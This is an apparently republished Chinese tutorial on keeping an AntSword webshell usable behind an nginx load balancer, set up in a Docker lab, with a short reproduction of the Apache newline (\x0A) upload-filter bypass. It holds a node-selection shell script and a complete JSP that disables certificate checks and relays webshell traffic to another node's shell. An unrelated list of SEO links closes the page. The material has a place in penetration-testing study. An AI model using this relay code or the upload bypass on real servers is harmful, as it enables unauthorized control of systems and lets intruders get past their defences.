当前位置: 首页 > news >正文

长宁区网站建设tomcat 怎么做网站

长宁区网站建设,tomcat 怎么做网站,阜阳万维网站建设,十大免费看盘软件负载均衡反向代理下的webshell上传负载均衡负载均衡下webshell上传的四大难点难点一:需要在每一台节点的相同位置上传相同内容的webshell难点二:无法预测下一次请求是哪一台机器去执行难点三:当我们需要上传一些工具时,麻烦来了&a…

负载均衡反向代理下的webshell上传

  • 负载均衡
  • 负载均衡下webshell上传的四大难点
      • 难点一:需要在每一台节点的相同位置上传相同内容的webshell
      • 难点二:无法预测下一次请求是哪一台机器去执行
      • 难点三:当我们需要上传一些工具时,麻烦来了:
      • 难点四:由于目标机器不能出外网
  • 解决方案如下:
      • 方法一:关掉其中一台机器
      • 方法二:执行前先判断IP;要不要执行;
      • 方法三:在Web 层做一次 HTTP 流量转发
  • apache换行解析漏洞

负载均衡

负载均衡是一种廉价的扩容的方案,它的概念不是本文的重点,不知道的可以去查资料学习。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据URL分配

整体架构是这个样子
在这里插入图片描述

负载均衡下webshell上传的四大难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。
![在这里插入图片描述](https://img-blog.csdnimg.cn/cd6ebcd7297a44bebfe33

难点二:无法预测下一次请求是哪一台机器去执行

我们在执行命令时,无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:由于目标机器不能出外网

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案如下:

方法一:关掉其中一台机器

首先在测试阶段,我们可以关闭一台服务器,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。 但在真实项目中,是不允许的,会严重影响业务。

方法二:执行前先判断IP;要不要执行;

1,先在docker容器中安装net-tools和vim命令

apt-get update
apt-get install net-tools
apt-get install vim

2, 然后创建一下代码,在两个后端服务器都上传

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; thenecho "Node1. I will execute command.\n=======\n"ifconfigelseecho "Other. Try again."fi

如果这里你的tomcat外网不能访问,记得去Linux主机上的8080端口开放,因为如果你要测试的话需要安装vim和net-tools)这样一来,确实是能够保证执行的命令是在我们想要的机器上了,效果如图;
在这里插入图片描述
这样操作保证了我们的命令可以执行到目标机器上,但是却不能上传文件,工具,http隧道问题,功能比较单一,这种方法勉强能用。

方法三:在Web 层做一次 HTTP 流量转发

第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx,nginx 接到数据包之后,会有两种情况:
第 2 步,把请求传递给了目标机器,请求了 Node1 机器上的/antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了Node1 机器上的 /ant.jsp,成功执行。
第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

这里一定要保证每一台node上都要有相同的文件(千万别用上传,上传会将文件分片)
在这里插入图片描述
修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址,其它配置不变。
在这里插入图片描述

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%>
<%String target = "http://172.19.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>

在这里插入图片描述

apache换行解析漏洞

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
搭建完毕后Apache运行在http://your-ip:8080
漏洞复现
上传一个名为1.php的文件,被拦截:
在这里插入图片描述
在1.php后面插入一个\x0A(只能是一个\x0A),不再拦截:
在这里插入图片描述

http://www.yayakq.cn/news/46784/

相关文章:

  • 国内10大猎头公司排名网站建设优化兰州
  • 厦门网站排名优化价格网店该怎么推广
  • 做个网站找别人做的吗深圳招聘信息在哪个网站
  • 毕业设计做网站 如何做怎么做一个聊天软件
  • 中国建设银行网站首页企业视频怎么添加wordpress
  • 哪家建设公司网站网站设计确认
  • 昆明制作网站深圳设计展
  • 网站图片管理系统外贸网站建设书籍
  • 彩票型网站建设免费网页设计教程视频教程
  • 上市设计网站_count-views_all wordpress
  • 搜索网站排名优化学seo优化
  • 运城住房和建设局网站上海老闵行网站建设
  • 手机移动端网站怎么做的极度简单wordpress主题
  • 天水做网站的公司彩票网站代理怎么做
  • 营销型网站建设市场分析iis添加asp网站
  • 网站维护内容有哪些长春网络建站
  • 阜新小程序 阜新网站建设开发建站服务的网络公司有哪些
  • 网站制作视频网上建站赚钱
  • 济南网站制作方案夸克网页版
  • 平面设计免费模板网站h5编辑平台
  • 做网站哪个部分免费的代理服务器
  • 域名备案网站备案查询海南快速seo排名优化
  • 单向链接对网站排名影响wordpress两个域名
  • 品牌建站建设一个网站哪家好
  • 甘肃省酒泉市做网站公司网站被百度k掉怎么办
  • 户县建设局网站wordpress主题 超级
  • 网上销售型的企业网站推广公司的新产品英语
  • 怎样创建网站或网页网站建设 表扬信
  • 手机网站建设分析服务类网站建设服务公司
  • 做网站要知道哪些代码石景山成都网站建设